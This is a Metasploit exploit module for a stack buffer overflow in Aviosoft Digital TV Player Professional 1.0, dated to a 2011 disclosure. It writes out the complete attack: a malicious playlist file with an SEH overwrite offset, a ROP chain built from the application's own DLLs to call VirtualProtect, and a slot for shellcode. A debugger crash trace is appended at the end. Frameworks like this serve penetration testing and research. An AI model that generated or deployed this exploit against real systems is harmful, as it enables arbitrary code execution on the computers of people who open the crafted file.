1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::FILEFORMAT
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => "Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow",
16
        'Description' => %q{
17
          This module exploits a vulnerability found in Aviosoft Digital TV Player
18
          Pro version 1.x.  An overflow occurs when the process copies the content of a
19
          playlist file on to the stack, which may result arbitrary code execution under
20
          the context of the user.
21
        },
22
        'License' => MSF_LICENSE,
23
        'Author' => [
24
          'modpr0be', # Initial discovery, poc
25
          'sinn3r', # Metasploit
26
        ],
27
        'References' => [
28
          ['OSVDB', '77043'],
29
          ['EDB', '18096'],
30
        ],
31
        'Payload' => {
32
          'BadChars' => "\x00\x0a\x1a",
33
          'StackAdjustment' => -3500,
34
        },
35
        'DefaultOptions' => {
36
          'EXITFUNC' => "seh",
37
        },
38
        'Platform' => 'win',
39
        'Targets' => [
40
          [
41
            'Aviosoft DTV Player 1.0.1.2',
42
            {
43
              'Ret' => 0x6130534a, # Stack pivot (ADD ESP,800; RET)
44
              'Offset' => 612, # Offset to SEH
45
              'Max' => 5000 # Max buffer size
46
            }
47
          ],
48
        ],
49
        'Privileged' => false,
50
        'DisclosureDate' => '2011-11-09',
51
        'DefaultTarget' => 0,
52
        'Notes' => {
53
          'Reliability' => UNKNOWN_RELIABILITY,
54
          'Stability' => UNKNOWN_STABILITY,
55
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
        }
57
      )
58
    )
59

60
    register_options(
61
      [
62
        OptString.new('FILENAME', [false, 'The playlist name', 'msf.plf'])
63
      ]
64
    )
65
  end
66

67
  def junk(n = 1)
68
    return [rand_text_alpha(4).unpack("L")[0]] * n
69
  end
70

71
  def nops(rop = false, n = 1)
72
    return rop ? [0x61326003] * n : [0x90909090] * n
73
  end
74

75
  def exploit
76
    rop = [
77
      nops(true, 10),  # ROP NOP
78
      0x6405347a,      # POP EDX # RETN (MediaPlayerCtrl.dll)
79
      0x10011108,      # ptr to &VirtualProtect
80
      0x64010503,      # PUSH EDX # POP EAX # POP ESI # RETN (MediaPlayerCtrl.dll)
81
      junk,
82
      0x6160949f,      # MOV ECX,DWORD PTR DS:[EDX] # POP ESI (EPG.dll)
83
      junk(3),
84
      0x61604218,      # PUSH ECX # ADD AL,5F # XOR EAX,EAX # POP ESI # RETN 0C (EPG.dll)
85
      junk(3),
86
      0x6403d1a6,      # POP EBP # RETN (MediaPlayerCtrl.dll)
87
      junk(3),
88
      0x60333560,      # & push esp #  ret 0c (Configuration.dll)
89
      0x61323EA8,      # POP EAX # RETN (DTVDeviceManager.dll)
90
      0xA13977DF,      # 0x00000343-> ebx
91
      0x640203fc,      # ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)
92
      0x6163d37b,      # PUSH EAX # ADD AL,5E # POP EBX # RETN (EPG.dll)
93
      0x61626807,      # XOR EAX,EAX # RETN (EPG.dll)
94
      0x640203fc,      # ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)
95
      0x6405347a,      # POP EDX # RETN (MediaPlayerCtrl.dll)
96
      0xA13974DC,      # 0x00000040-> edx
97
      0x613107fb,      # ADD EDX,EAX # MOV EAX,EDX # RETN (DTVDeviceManager.dll)
98
      0x60326803,      # POP ECX # RETN (Configuration.dll)
99
      0x60350340,      # &Writable location
100
      0x61329e07,      # POP EDI # RETN (DTVDeviceManager.dll)
101
      nops(true),      # ROP NOP
102
      0x60340178,      # POP EAX # RETN
103
      nops,            # Regular NOPs
104
      0x60322e02       # PUSH # RETN
105
    ].flatten.pack("V*")
106

107
    buf = ''
108
    buf << rand_text_alpha(target['Offset'] - buf.length)
109
    buf << [target.ret].pack('V*')
110
    buf << rand_text_alpha(136)
111
    buf << rop
112
    buf << make_nops(32)
113
    buf << payload.encoded
114
    buf << rand_text_alpha(target['Max'] - buf.length)
115

116
    file_create(buf)
117
  end
118
end
119

120
=begin
121
eax=00001779 ebx=047a02c0 ecx=000001f4 edx=047a6814 esi=047a77bc edi=00130000
122
eip=6400f6f0 esp=0012f038 ebp=00000001 iopl=0         nv up ei pl nz na pe nc
123
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
124
MediaPlayerCtrl!DllCreateObject+0x220:
125
6400f6f0 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
126
0:000> !exchain
127
0012f3bc: *** WARNING: Unable to verify checksum for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll
128
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll -
129
DTVDeviceManager+534a (6130534a)
130
Invalid exception stack at 41414141
131
0:000> !address edi
132
    00130000 : 00130000 - 00003000
133
                    Type     00040000 MEM_MAPPED
134
                    Protect  00000002 PAGE_READONLY
135
                    State    00001000 MEM_COMMIT
136
                    Usage    RegionUsageIsVAD
137
0:000> !address esi
138
    047a0000 : 047a0000 - 0000b000
139
                    Type     00020000 MEM_PRIVATE
140
                    Protect  00000004 PAGE_READWRITE
141
                    State    00001000 MEM_COMMIT
142
                    Usage    RegionUsageHeap
143
                    Handle   013c0000
144
=end
145

146